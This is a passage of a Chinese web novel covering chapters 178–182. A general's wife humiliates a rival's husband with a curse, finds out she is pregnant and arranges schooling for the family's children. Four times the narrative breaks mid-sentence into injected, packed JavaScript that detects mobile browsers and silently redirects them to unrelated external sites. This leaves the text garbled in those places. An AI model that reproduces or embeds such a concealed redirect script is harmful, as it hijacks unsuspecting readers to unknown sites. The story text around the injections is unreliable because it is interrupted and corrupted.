徐诗敏笑得越发温婉:“为**者,理当如此,况且允姨娘乖巧听话,又会伺候人,留她在身边替我分忧,我也放心。” “只是你们二人如今都有孕了,这是不是又要寻人来伺候了?”另一胆大的夫人笑着打趣。 “这就要听我家将军的意思了。”徐诗敏只是略微羞涩。 她目光顺着虞声笙的方向看过来。 虞声笙只觉得莫名其妙,这颠婆怎么又扯上自己了? 好好在自家安胎不好么?为什么还把妾室带到这样的宴饮席面上来? 而且……慕淮安是什么鬼?为什么这个允姨娘的眉眼与自己这样相似? 一瞬间,虞声笙也有点焦躁。 手有点痒。 嗯,想把徐诗敏的脑袋拧下来,或者拿扁担狠狠打一顿才好。 徐诗敏却像是不明白她面上的不善,与众人说笑一番后,她又找机会来到虞声笙跟前。 “好妹妹,多日不见,瞧你气色不错。”她笑道。 虞声笙回眸,乌黑发沉的眸子不见半点涟漪。 日光下,只见她唇红齿白:“滚。” 第178章报复回去,她不受这窝囊气 徐诗敏一时间愣住,笑容就这么僵在脸上。 还以为是自己耳朵出问题,没听明白,却不想眼前这女子又俏生生地来句:“滚远点,少在我跟前碍眼。” 霎时,跟在她身后的允姨娘噗嗤一声笑出来。 哪怕掩藏得很快,这笑声还是过于刺耳了。 徐诗敏满脸涨红:“你说什么?亏你还是高门大户的当家夫人,怎、怎能这样不懂规矩,开口骂人呢?” 她故意将声音提高了不少,好让附近一些太太奶奶们都听见。 众人的目光围了过来。 虞声笙甩了甩手里的帕子,冷笑道:“骂你怎么了?也就你忒不懂规矩,也不看看这是什么场合,竟还带着自家妾室来,你与我好歹挂着姑嫂名分,我也不能眼睁睁看着你犯蠢还不提醒你;镇国将军府多年名声在外,府上大太太最是恪守本分的一个人,怎么纵得你这般不懂规矩?” “要是让大太太晓得你在外如此败坏镇国将军府的名声,我义母可饶得了你?” 徐诗敏急了:“我不过是带着府里的人来跟你问好罢了,将军夫人若嫌我们碍眼,我们走就是。” “你瞧瞧你周围的人,有哪个带着自家妾室通房来的?若大家都把这些小星带来,怕是这园子都不够待的,就你别具一格、别出心裁,就你会彰显妻妾和睦是吧?” 虞声笙冷笑连连,“快别说规矩不规矩了,你但凡瞧瞧今日主家的脸色也该明白了。” 徐诗敏心头咯噔一下。 她只顾着带允姨娘来羞辱虞声笙,更为了让允姨娘明白自己是个代替品,却忘了这种场合里根本没有妾室的位置。 是她,一开始坏了规矩。 也难怪主家夫人面色阴沉难看,哪怕笑着也总透着一股无奈勉强。 虞声笙丢下这话,头也不回地走了。 她懒得搭理这人。 但心里却恨上了慕淮安。 一场宴会结束,她气呼呼地回到府里,一边更衣一边开骂:“这不要脸的狗东西,什么玩意!” 竟找了个与她那样相似的女人做妾室。 更要命的是,徐诗敏竟连自家脸面都不顾了,还把这妾室带到大庭广众之下。 她又不蠢,哪里不明白徐诗敏真正的用意。 无非是拿她当个笑话,再让自家的姨娘好好明白自己的位置,堪称一箭双雕。 若非今日虞声笙反应快,先撕破脸,骂了徐诗敏一个不懂规矩,否则还不知有多少难听的话会传出去。 身边的丫鬟们一个个屏气凝神,谁都不敢开口劝。 今瑶气呼呼:“夫人,难道咱们就这么算了么?那镇国将军府也太欺负人了,什么劳什子允姨娘,最好连同那个慕小将军一块揍一顿才好!” 金猫儿闻言都惊呆了。 她想阻拦也已经来不及。 只听虞声笙痛快一阵冷笑道:“有道理,受了气不出,不是我的风格,他慕淮安不是喜欢恶心人么,我也让他好好出出洋相。” 说罢,她命人取来银盆黄纸等物。 解开腕上的红绳,以血为咒,在黄纸上描下了几个旁人看不懂的符。 铜钱叮当,大凶之相。 灯火跳动着,照亮了她那张白净的小脸。 她阴森森地笑了:“还没有惹了我,能全身而退的呢,慕淮安……我早就想弄你了,多谢你媳妇给了我这个机会。” 做完这些,虞声笙双颊略微发白。 草草收拾了,她便恹恹睡下。 待闻昊渊回房,瞧见床上卷着被子呼呼大睡的女人一阵发笑,伸手过去要将人抱在怀里,却觉得虞声笙的身子似乎格外发冷。 房中起着地龙,被褥中还有汤婆子。 像闻昊渊这样血热的男子,一番沐浴后都觉得浑身上下的毛孔都在冒汗,哪有像虞声笙这般,裹着被子还手脚冰凉了。 他二话不说,将她整个抱在怀中,以温热的胸膛去暖着她。 许是身边的暖意十足,让虞声笙睡梦舒坦了不少。 她小手捉住男人的衣襟,一个劲地往他怀里拱。 这一觉睡到后半夜总算暖和了起来。 翌日一早,闻昊渊起身时,她还没醒。 男人蹙着浓眉,叫来了府医,又问起那几个大丫鬟:“昨日夫人去哪儿了,可曾着了什么风寒?” 虽说如今春日和暖,但晚间还是冷的,说不定是虞声笙席间贪杯,又吹了凉风才会至此。 今瑶有什么说什么,直接言明了昨日席间种种。 还没听完,闻昊渊的脸已经黑了一半。 匆匆用罢早饭,他阔步离去。 碧桃领着小丫鬟们收拾着饭桌残局。 金猫儿拉着今瑶咬耳朵:“将军问什么你就说什么,夫人可没说过能对将军说呀,你怎么就……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562367|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “怕什么?这种事本该男人出头护着自己媳妇的,难不成要咱们夫人挡在前头?”今瑶觉得自己半点没错,“昨个儿是咱们夫人累着了,才没机会告诉将军的,既然将军问起,我哪有替那头遮掩的道理?” 今瑶边说边摇着头,“金猫儿姐姐你不知道,我们姑娘自打入了府就是最乖顺温柔的人了,能逼得她当众撕破脸骂人,那就是打定主意这门亲戚不想要了,横竖姑娘都是嫁了人的人了,还怕娘家太太或是旁的什么人来兴师问罪么?” 金猫儿恍然大悟。 “还是你看得明白。” 她自愧不如,总想着息事宁人,怕给自家夫人惹麻烦,却忘了这种事本就不该隐忍。 今瑶抬眼一笑:“哪有,不过是跟着姑娘身边久了,琢磨出来罢了,假以时日,凭着姐姐的聪慧必不会在我之下。” 虞声笙睁眼时,已是日上三竿。 她浑身不在状态。 足足扒了三大碗饭,才觉得精神些。 又掐指算了算时辰,命今瓜今巧二人留意门房传来的消息。 今瓜好奇:“什么消息都成么?” “自然是今日京城中最大的乐子。”虞声笙长舒一口气,觉得舒坦多了,“你们夫人我累着了,自然要听些个有趣的提提神。” 这话说了不到两个时辰,门房传话来了。 “大乐子!!”今瓜来回话时,嘴角都合不拢,“夫人,当真是大乐子,今儿那镇国将军府的小将军在街上出了个大丑,可丢**了。” “你说说。”虞声笙放下茶盏,来了兴致。 原来,今儿一早慕淮安出门就不顺。 先是临头一场雨,没淋湿其他人,唯独将他浇了个透心凉。 偏偏道已经走了一半了,再折返回去更衣会误了时辰,他只好硬着头皮走,反正都是淋湿了,凭着他身体强壮,也不会染了风寒;谁知,又走了没一会儿遇上了几条野狗追着咬。 哪怕慕淮安身手矫健,也躲得狼狈不堪。 今巧抿嘴笑道:“慕小将军躲闪不及,撞上了迟来的夜香郎,被泼了一身脏污,后头的裤子也叫几条狗给咬破了!” 一屋子丫鬟听到这儿再也忍不住,窃窃发笑。 虞声笙也忍俊不禁。 末了,她摇摇头,轻声嘟囔着:“果然,咒人倒霉这事我还欠火候,福源不够……否则定要他出出血不可。” 第179章笑话,十足大笑话 要不是她身边有闻昊渊旺她,她才不敢兵行险着。 一个不慎,就很可以祸及自身。 是以,她在下手时还是免了慕淮安的性命之忧,血光之灾。 不过现在听来也差不多了。 能让一位高高在上的翩翩郎君于闹市街头出尽洋相,这可够众人好一阵子茶余饭后的谈资了。 昨日大家还在私底下议论镇国将军府那位小妾的事情,今日所有人的目光都被转移,谁还记得那什么允姨娘? 据说,慕淮安气愤至极,直接将染了脏污的衣裳当街丢掉,只着里衣策马回府。 今瑶痛快道:“该,活该!也让他知晓被人看笑话的滋味。” “没错。”金猫儿松了口气,有了慕淮安这个大乐子挡在前头,也没什么人会在意那个允姨娘。 只要不把事儿惹到自家夫人身上,金猫儿悬着的心就能安下不少。 虞声笙满意了,笑得眉眼弯弯:“听着好有趣啊,只可惜没有亲眼看见,不然定会更有趣。” 当晚,她又吃了两碗饭,就着那红烧排骨,胃口大开。 正吃着,闻昊渊回来了。 “怎么今日这样晚?”她忙要起身帮他更衣,又被男人按住。 “你先吃,我自己换。” 闻昊渊闪进屏风后头,不一会儿便换了一身常服过来,与妻子面对面坐着一道用晚饭。 “我回来的路上绕去了一趟镇国将军府。” “嗯?”虞声笙瞪圆了眼睛,“你去看笑话啦?” “我去把慕淮安揍了一顿。” 虞声笙:…… 闻昊渊勾起嘴角:“谁让他管不好自己的女人,正房不听他的,妾室也不听他的,既然镇国将军府的老将军与慕老爷都不愿下这个手,我自然替他们出手教训一番。” 这话听着那样不切实际。 她险些合不拢嘴。 “你跑到人家家里,把人家揍了一顿?慕淮安没还手么?你有没有受伤啊?” 见她第一时间关心自己,闻昊渊极为受用。 心头暖呼呼的,熨帖无比。 他笑道:“为夫先下手为强,他没逮住机会还手,我揍完就走了,还给慕老爷留下一句话。” “你说什么了?” “我让他没事的时候好好管一管自己儿子,少让那些个上不得台面的东西出去闲逛,没的惹了旁人还不自知。” 虞声笙乐了,赶紧给男人脸上亲两口:“打得好!!” 此刻,镇国将军府。 慕淮安脸上挂着淤青,肩头一动就疼。 慕大太太心疼不已,暴怒咆哮:“这闻昊渊也太欺负人了,竟然、竟然跑到我们府上动手**!!老爷,你一定要参他一本!让圣上狠狠治他的罪!” 慕仲元是知晓今日一天儿子经历的一切的。 倒霉到极致就算了,还当众出丑,沦为笑柄。 本以为这就已经是最糟糕了,没承想晚上还有一顿打…… 没等慕大太太说完,慕仲元就呵斥道:“你若不嫌儿子丢人,那我便即刻写折子参奏!你也不瞧瞧如今外头那些人是怎么笑话淮安的,你是嫌这把火烧得还不够旺是不是?!你还要给它添油加柴?” “我、我……难道我们淮安就这样白白挨一顿打?”慕大太太难以置信。 他们可不是一般府邸。 那闻昊渊竟然说闯就闯,半点不顾及。 眼里还有旁人么? “够了。”一直沉着脸不吭声的当事人开口了,“母亲不用说了,这事不必上奏,就算参奏也没什么用。” 丢下这话,慕淮安拔腿就走。 任凭慕大太太在后头怎么追问,他始终一言不发。 最终是慕仲元看不下去,将妻子拉了回来。 “儿子现在心情不好,你跟上去只会适得其反!这笔账咱们先记着,往后慢慢算也不迟!” “实在是太过分,欺人太甚!”慕大太太气得浑身颤抖,泪水簌簌落下。 “这事儿不但不能参他一本,你也不许去外头说,给我把嘴闭紧了!他到底没有将淮安如何,也就是皮肉之伤,哪怕到了御前,也顶多被不痛不痒地呵斥两句,大不了赔些银钱,又能伤到他什么?而咱们淮安才是真正丢脸的!” 慕仲元这话总算被妻子听了进去。 慕大太太不断拭泪,喘着粗气,勉强点点头应下。 “说到底,还是淮安自己不是在先;他媳妇是怎么想的,竟将妾室带去,这不是打咱们自己的脸么?!将这家丑外扬给旁人看笑话,我们家怎会有这样愚不可及的蠢妇!她偏偏还是宗妇!” 慕仲元鲜少责骂府中女眷。 这是他头一次这样鲜明地嫌弃徐诗敏。 夫妇二人难得意见一致。 慕大太太怒道:“早知她不是个好的,那会儿明明晓得我们淮安有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571053|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婚约在身,她还巴巴地贴上来,能是什么好东西?!” “这些时日在我跟前装乖卖巧,我还以为她是个性子温雅贤良的,总归是一桩良缘,哪晓得……还有这番作为!” 她越说越火大,“不成,你不让我出去说,我教训自家儿媳总可以了吧?!” 丢下这话,慕大太太直接命人将徐诗敏叫来。 一腔火气不能冲着外头发,那就冲着始作俑者。 要不是徐诗敏自作聪明,又哪有后头这一连串的麻烦。 慕大太太到底顾念着儿媳怀有身孕,并未对她动什么家法,但当面一套毫不客气的说辞就足以让徐诗敏羞愤。 她满眼是泪,跪在慕大太太跟前,倔强地咬着下唇。 慕大太太一口气说了好多,方才觉着胸口憋闷减轻了些。 又见儿媳这副模样,顿时一阵厌恶。 “你又这个样子做给谁看?事情不是你闹出来的么?”她喘口气,坐在太师椅上缓缓吃了口茶。 徐诗敏微微喘着气,泪盈满眼眶,一滴一滴滚落。 突然,徐诗敏像是摸到了一个发泄口,高声叫道:“母亲为何只说我一人?难道慕淮安没错吗?他非要纳那样一个妾,有眼睛的都瞧得出来她像谁,这不是打我的脸?!他又纵着允姨娘处处与儿媳不对付,儿媳这个正房奶奶做的有何趣味!” 慕大太太被吓了一跳。 “你若这般委屈,那就回你的娘家好了。” 徐诗敏冷笑:“好呀,回娘家!我挺着肚子回去,旁人问起婆母就别怪我不替夫君遮掩了,我有什么说什么,什么难听说什么!回头生下这孩子也跟我姓,与你们慕家再无半点关系!” 丢下这话,她腾地一下起身,竟不顾几个月的肚子冲向门外。 一时间几个婆子丫鬟都拦她不住。 好不容易将她的身子拢住,一群人劝着。 徐诗敏满脸是泪,双颊涨得通红,口中还在不断说着:“你们去旁人家问问,哪有这样苛待媳妇的……大不了豁出去一条命,我也要辩个分明!” 慕大太太赶紧放下茶盏,又换了一副嘴脸,语气极为和缓温柔:“你看看你,我不过说了两句,却激得你这般动怒,回头伤了身子可怎么好?你们都是**呀,还不去打了热水绞了帕子来给大奶奶擦擦脸。” 众人将徐诗敏劝了回去。 她软软地坐在椅子上,身下还垫了软褥子。 第180章缘分未到,不见不见 徐诗敏好一会儿才觉得平息下来。 耳边尽是众人的劝说,还有慕大太太的柔声宽慰,听得她心头格外受用,她擦了擦眼泪,又顺着婆母的话说了两句软乎的,这事儿就算是给彼此一个台阶下,搁下不提。 本来慕大太太就是想训诫一下儿媳。 没想到却差点闹出故事来。 真要让徐诗敏就这样跑回娘家,镇国将军府必定又要丢一回人。 已经忍无可忍的慕仲元怕是也难以顾及多年夫妻情分,会对她言辞警告,甚至更难听的话都有。 慕大太太送走了徐诗敏。 望着她背影的目光,无奈又厌恶。 事情怎么就成这样了? 早知如此,当日还不如劝儿子早日娶了那虞四。 虞四虽各方面不如自家儿子,虞府也是日落西山,但人家虞四性子软乎,若不是被慕淮安逼急了,怕也不会像今日这般泼辣厉害。 到时候儿子在外奔波挣前程,一个温婉乖顺的儿媳妇在跟前伺候,慕大太太都不敢想自己的日子该有多幸福。 哪还会有今日这些个麻烦…… 她根本不会觉得一切始作俑者是自己的儿子,也不会觉得慕淮安才是挑起内院这些女人纷争的源头。 男人嘛,三妻四妾又算得了什么? 不是个事儿。 这一次的闹腾带来的又是慕淮安与徐诗敏多日的冷战。 他连允姨娘处也不怎么去了,几乎日日都避开妻妾二人,一心扑在建功立业上。 刚巧,某处突发乱匪,令当地民生叫苦不迭。 官员求助朝廷派兵**。 慕淮安主动请缨,强压闻昊渊一头,终于将这桩差事收入囊中。 很快他便离京了。 闻昊渊将这事儿说给虞声笙时,她正歪在榻上晒太阳。 半支棱开的窗棱朝阳,那阳光毫无保留地倾泻而入,照在她的身上。 今日不出门,她简单地着一身湖蓝配月白的春日小袄加比甲长裙,胸口处戴了一把银玉锁,显得格外玉白出尘,有种楚楚清丽姿态。 虞声笙只觉得累得很。 眼皮子都快睁不开了,偏偏还要空出一分精力来听丈夫碎碎念。 等闻昊渊一扭头,却见妻子已经抱着那软枕睡着了。 他好笑地替她盖上毯子。 想了想,又派人去请府医来瞧。 等虞声笙醒来时,府医已经替她把过脉了。 得了个绝好的消息——她怀孕了。 “真的假的?”虞声笙惊讶。 “还能有假?咱们府医也是精挑细选的杏林高手,这种事怎会弄错?”闻昊渊欢喜坏了,“已经怀孕一月有余了,我说你这几日怎么困得不行,早也起不来,午饭后又犯懒,晚上更是早早就睡下,不让府医来替你诊治一番,我如何放心?” “没旁的不对吧?”她忧心忡忡。 “没有的,你身子健壮得很。” 男人边说边从旁边的暖笼中取了一盏温着的甜汤来,一勺一勺喂给她。 她睡得够久了,正是又渴又饿,便张口尝了。 “好吃。”虞声笙眼前一亮。 这南瓜炖红枣做得滋味刚好,又软糯又香甜,入口即化。 “多吃点,都是你的。” 被诊出怀了身孕没两日,这一日虞声笙刚料理完府中事务,正想着要去外头散散心,却不想芳妈妈来了。 还带了一样物件。 一瞧这东西,虞声笙眼睛一亮,差点从榻上跳下来。 “哪来儿的?” 芳妈妈见状,一脑门冷汗:“哎哟我的姑奶奶,我的夫人,您慢着点!” “这是哪儿来的?”虞声笙悬起指尖那枚不起眼的青玉小锁,语气颇为急不可耐。 “是门房送来的,说是今日天不亮就有一个老头经过留下的,点名道姓要交给咱们夫人。门房早上换班,那人便将这事儿忘了,这会子睡醒了突然想起,便报了过来。” “那老头呢?” “早就走了,说是片刻都没停下。” 虞声笙还是不甘心,传来了门房一一盘问。 待问清楚了那人的容貌身量,还有年纪,她顿时心中有数了。 是玉浮那老头没错。 自从她回了虞府,这老头就跑得干干净净,行踪不明。 回想起来,老头经常说的便是有缘再见。 那时候她年幼无知,总缠着问那若无缘呢? 玉浮老头笑眯眯不吭声。 如今想来,他的回答便是:无缘自然无法再见。 就像他送来的青玉小锁,却对她这个徒弟避之不见,意思就是缘分未到,强留无果。 虞声笙命人取来红绳将这青玉小锁串好,收入妆奁的最深处,细细收好。 突如其来的怀孕,乍然出现的师父,好像有些什么事已经隐隐有了走向,还有宫中本不该有孕的叶贵妃却也查出了身孕,几桩看起来没有联系的事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“都是过来人,哪有看不出来的,你这头应当还没满两个月,前面三个月不稳,要格外当心。”张氏叮嘱道。 已经坐足双月子的郑秋娥也在。 这也是她生产后头一次出府散心。 难得遇到一件她能说得上的事,她忙盯着小姑子千叮万嘱,那些个关切的言语足足说了两大筐都装不下,惹得张氏发笑:“你嫂子如今也是过来人了,想是有好多经验要传授给你呢。” 郑秋娥俏脸一红:“娘又打趣儿媳。” 瞧这婆媳俩的关系似乎比之前更为亲近,虞声笙看得啧啧称奇,又旁击侧敲地试探了几句。 无论张氏还是郑秋娥都不打算瞒她,是以没一会儿她就了解了来龙去脉。 原来,历经上次的风波后,张氏与郑秋娥就暗中联手,婆媳二人配合得天衣无缝。 第181章志向远大 虞正德旁人的话或许不听,张氏的话或许也有些阴奉阳违,但对刚刚诞下自己孙子的大儿媳还是照顾颇多,儿媳劝着,那是一片孝心,再无不依了。 于是在郑秋娥的精心设计与张氏的暗中商议下,虞正德已经好些时日没去那些姨娘房中了,几乎日日都在东厢房待着,不是与妻子拉家常,就是逗弄新得的大胖孙子,别提多快活了。 有些话张氏不好开口。 一个眼神,郑秋娥就不着痕迹地说了。 事情不但办得漂亮,还水过无痕。 张氏很是高兴,越发看儿媳顺眼逞心。 有了婆母的支持,郑秋娥在虞府的日子越过越顺心,虞开嵘本就对妻子敬爱有加,如今见婆媳和睦,便越发对郑秋娥体贴入微。 夫妻二人虽已不是新婚,却更比成婚那会子更情深意浓。 虞声笙看在眼里,赞在心中。 果真,夫妻、婆媳相处虽是一门学问,但也要参与其中的人人品有保障,无论虞正德还是张氏,无论虞开嵘还是郑秋娥,他们心中都有底线,明白什么能做,什么不能做。 虞声笙又叫来了黎阳夫人,几人说说笑笑,还摸了几把牌,玩得尽兴。 离开时,张氏与黎阳夫人絮絮而谈。 “我家声笙就拜托你平日里多照看了,这孩子可怜,自小就没了亲娘……” 听到这儿,虞声笙有些感慨,索性往前几步将这声音抛在身后。 黎阳夫人也正如张氏交代的那样,每日都关切,事事都小心。 一开始,虞声笙还觉得被人这样关怀的感觉很好。 但很快她就招架不住了。 怀个孕,规矩太多了…… 多到让人头疼。 她只好婉拒黎阳夫人的好意,说辞话术换了一套又一套,才勉强将黎阳夫人的热情略微憋了回去。 能转移目标的,必然是另一个更重要的人。 这个人就是辉哥儿。 澜麓书院春节后正式开课。 这些先生夫子深谙拿捏学生的门道,一开课就搞了一场别开生面的考试,也不为了选拔,更没有排名,说是为了考察一下这个年节众学生在家里有没有用功苦读。 辉哥儿一鸣惊人,竟在这次考试里拔得头筹。 黎阳夫人欢喜不已。 更让人惊叹的是,这一回的考试昀哥儿也参加了,他以微弱劣势逊色于辉哥儿,拿了个第二。 一府出了两个读书的哥儿,且两个都这样优秀,可把众人羡慕坏了。 虞声笙惊讶:“姑母,您让昀哥儿也去读书了?可是外头……” “姑母知晓你要说什么。”黎阳夫人笑得高深莫测,“可有些事情就是这样的,那瑞王府能将孩子托付给咱们,那就是信任咱们,可咱们也不能揣着明白装糊涂,真叫这孩子做一辈子的下人。” 黎阳夫人温温笑道,“他本就是后来入府的,我已经想了个说辞,说他原是我老家的远房亲戚,是清白人家的少爷公子,不过是家道中落才求到将军府;近日刚巧发现他与我还有这段渊源,自然是要认了这门亲的。” 虞声笙眼前一亮:“姑母真是帮了我大忙了,我正愁昀哥儿这户籍不好办,总不能让瑞王就这么出面,那也太明显了些。” “可不是么,如此一来便顺理成章了。” 黎阳夫人看向不远处正在用功读书的二人,“我是瞧着辉哥儿与他这样投契,想着能结交这份善缘也不错;那可是瑞王府,往后有个帮衬不就是多条路么。” “姑母所言极是。” 有了台阶下,有了说辞,接下来的事情就好办许多。 虞声笙特地跑了一趟衙门专管户籍的处所,将昀哥儿的身份办妥,自此他便不是府里的奴仆,而是远道而来的表少爷。 办好的这一日,她特地将昀哥儿叫来自己屋中,将一应户籍文契都交给了他:“你自己妥善保管,若你不想留在我府里,想回去也可,只管与我说一声便是。” 接过这些,昀哥儿直愣愣看了许久。 一言不发跪下,冲着虞声笙磕了两个头。 还没等她开口,这小子快人快语:“这是夫人该受的,回头我还要给黎阳夫人磕头,多谢二位替我费心打点,我铭记于心,此生不忘。” “那你不打算回瑞王府?” 如今这小子已经是良民,只要他愿意,瑞王求之不得。 “我现在回去,只能记在那个女人名下,她不是我的母亲,我不愿。”少年紧绷着小脸,小小年纪已经有了自己的决断。 虞声笙心念微动,突然明白了过来:“你想……记在已故王妃的名下?” 少年抬起乌黑的眸子,里面写满了志在必得。 也是。 这个江姨娘不但是冒牌货,而且还是谋害他们母子的凶手。 他怎愿认她为母? 无关嫡庶,只为了争一口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574253|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我现在太弱小了,不足以让瑞王改变心意,可我若很出众呢,让他不得不替我的前途未来考虑,那么嫡庶之分就很重要,谁不愿锦上添花?那我……也得先成为这块锦缎才行。” “说得有理。”虞声笙弯眉一笑,“所以,你不打算再藏了,打算初试锋芒,今年的童试你会去试一试,对吧?” “夫人明鉴,我确有此意。” 这个世道,男儿要么从武,要么从文。 显然留给昀哥儿的路很少。 他唯有坚持科举,最好能一举夺魁,才能让瑞王看到他身上的价值,才能将瑞王摇摆的心彻底收入他的囊中。 有了虞声笙的支持,昀哥儿越发苦读。 他一人苦读就算了,他还拉着辉哥儿桂姐儿一道。 黎阳夫人见了啧啧称奇。 最初,她还觉得桂姐儿是女孩儿家,没的学这些个作甚? 可当她有一日与桂姐儿说话,小小的孙女口中蹦出一连串颇有道理的话时,黎阳夫人恍然大悟——读书明理,这一点无关男女。 谁不愿自家千金能这般。 明白这一点,再去看昀哥儿的督促就格外顺眼了。 辉哥儿被逼得叫苦不迭。 他求祖母管管昀哥儿,可得到的是祖母笑眯眯地劝说。 “辉哥儿,你作为半个威武将军府的儿郎,怎能比不过人家昀哥儿?换成旁人,谁愿意将精力花在不相干的人身上?人家昀哥儿拿你当嫡亲兄弟待呢。” 辉哥儿低头细想,觉得有道理。 大约又是祖母那句“拿你当嫡亲兄弟”深深打动了天真稚嫩的心,他便再不告状,日日与辉哥儿一起早起读书、晚也读书,那叫一个用功刻苦。 以至于闻昊渊回府看见这一幕,惊得下巴都掉了。 这两个加起来还不到二十的莽撞小子竟有这般毅力,当真叫人佩服。 “指不定今年咱们府里能出一个童生呢,要是运气好,说不准是两个!”虞声笙笑得合不拢嘴。 男人将她抱在怀中,细细抚着她的小腹:“等咱们的孩子出生了,不管男女,也要这般读书上进。” “好,听你的。” 春光洋溢之时,第一场县试拉开帷幕;等两个月后再举行一场府试,若两场都中,便为童生,就有了考秀才的机会。 第一场县试的结果很快出来了。 昀哥儿,辉哥儿皆考过了。 第182章子平夫人 消息传来的那一日,威武将军府上下一片安静。 黎阳夫人老练沉稳,就是能稳得住。 虞声笙也是年少深沉,不显山露水。 她们二人都明白过了第一场,还有第二场,只有第二场的府试也过了,才算是正儿八经的童生。 距离第二场府试不足两个月,虞声笙与黎阳夫人一个对视就明白了彼此心中的盘算,越发不约而同地敦促两个孩子用功上进。 三月里,虞声笙请来的女学先生到了。 原本她也想着给桂姐儿寻个外头的家学或是私塾,送过去读书认字,再学学女红什么的。 可桂姐儿性子软糯,又很是羞涩,加上年岁又小,与京中那些个达官贵人府上的千金们并不相熟,黎阳夫人到底心疼孙女,怎么也不愿她离了府里。 虞声笙便请了昌夫人帮忙,找到了一位正在京郊附近的女学先生。 这先生还是两口子。 丈夫姓蔡,妻子唤作子平夫人。 没错,真正的先生就是这位子平夫人。 二人抵达威武将军府,虞声笙亲自接待。 蔡先生瞧着其貌不扬,但气质很是温和;另一位子平夫人却显得目露锋芒,格外锐利,完全不像是这个年纪该有的模样,更没有寻常女子该有的温敛含蓄。 虞声笙瞧着,眼睛都亮了。 子平夫人快人快语。 才说了没几句,就让跟着来的奴仆将箱笼卸了下来,她还问虞声笙:“原先提前给贵府来了书信,不知将军夫人可有收到?” “都收到了,也按照先生您的嘱咐办妥了,笔墨纸砚、书籍纸张都齐备,先生不如去瞧瞧?” “那就不必了。”子平夫人笑道,“虽说外人并不在意女学,还道女子无才便是德,可我却不这样想,这天底下除了男子便只有女人,若女子大字不识、不读书明理,来日如何自省己身,如何教导儿女,又如何督促丈夫呢?” “所谓,内宅不宁,这夫家怕也难有后福;能让我先瞧一瞧我的学生么?” 虞声笙正听得津津有味。 只觉得这位子平夫人的言论很对自己的脾胃。 乍一听这话,她忙笑道:“咱们桂姐儿知道今日先生要来,一早就起身了,这会子正在外头候着呢。” 说罢,金猫儿立马去门口处打起帘子。 桂姐儿由身边的丫鬟照顾着进门来。 到了子平夫人的跟前,桂姐儿见礼问安,怯生生的声音显得格外清脆稚嫩:“见过先生,给先生请安。” 子平夫人见桂姐儿虽小,但却礼数周全。 性子却弱,但又不过分扭捏,处处显得大方。 她立马眉眼处染上了一抹开心:“你就是桂姐儿。” “回先生,小女正是。” “往后跟着先生读书可是要吃苦的,你可乐意?” “乐意。”桂姐儿眼眸清亮,“我看过哥哥们读书,也知晓三更灯火五更鸡,正是男儿读书时的诗句;多谢祖母和婶婶替我请来了先生,我会跟哥哥们一样用功的。” “好,如此甚好。” 虞声笙垂眸腹诽:没有哪个老师不喜欢勤快的学生吧。 尤其桂姐儿生得玉雪可爱,还口齿清晰,谁不欢喜呢? 虞声笙将子平夫人两口子安顿好。 府里一处空置的院落刚好给他们一行居住使用。 很快,她就发现子平夫人两口子的好处了。 子平夫人只管教桂姐儿,没想到她的丈夫蔡先生竟也学富五车,很懂应试八股之道;那一日两个哥儿正在廊下读书探讨,恰巧被蔡先生听到了,瞧着两个小娃娃说得头头是道,他也忍不住多听了两句,随后开口点拨一二。 没想到这一日进学归来,昀哥儿就迫不及待地去找蔡先生请教。 反应慢了一拍的辉哥儿也紧跟其后。 等虞声笙知晓后,去问了子平夫人,谁料子平夫人淡淡来了句:“噢,他原先也考过科举的,考得不如意,外任时又备受排挤欺负,他便辞官不做了。” 子平夫人口中说的考得不如意,指的是蔡先生当年中了二甲进士的第十一名。 听到这话,虞声笙险些一口气没上来。 果然人和人不能比,在天下学子都仰慕的金榜题名上,子平夫人居然还觉得考得不如意。 子平夫人又道:“我若是男子,这状元必定是我的。” 虞声笙赞叹不已。 她自小没怎么读过书,后来学的也勉强算是囫囵吞枣。 看着子平夫人自信昂扬,豪言壮语,她顿时心生羡慕。 当晚,她摸着还未隆起的肚皮歪在丈夫怀中,对未来可劲地畅想:“咱们生个小状元吧。” 闻昊渊完全没觉得她这话有什么不对,十分配合:“好呀,听你的。” “状元也分文状元和武状元的,要是两个状元都能拿就好了。” “你说得没错。 